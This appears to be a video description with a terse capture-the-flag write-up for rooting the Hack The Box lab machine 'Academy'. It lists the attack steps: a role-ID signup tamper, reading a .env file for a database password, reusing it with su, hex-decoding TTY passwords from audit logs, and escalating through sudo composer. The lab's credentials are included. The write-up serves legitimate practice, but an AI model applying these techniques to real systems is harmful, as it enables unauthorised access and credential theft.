This video demonstrates how to root the htb medium difficulty box named academy. Academy is a machine designed for beginners to intermediate level hackers.
Mini Writeup
signup with roleid =1 and login to /admin.php
http://dev-staging-01.academy.htb/
cat ../../academy/.env
DB_pasword : mySup3rP4s5w0rd!!
su cry0l1t3
mySup3rP4s5w0rd!!
cat user.txt
[+] Checking for TTY (sudo/su) passwords in audit logs
/var/log/audit/audit.log.3:type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A
hex decoding the data value
mrb3n
mrb3n_Ac@d3my!
it can run composer as sudo
_____________
create composer.json
echo '{"scripts":{"x":"cat /root/root.txt"}}'
sudo composer run-script x
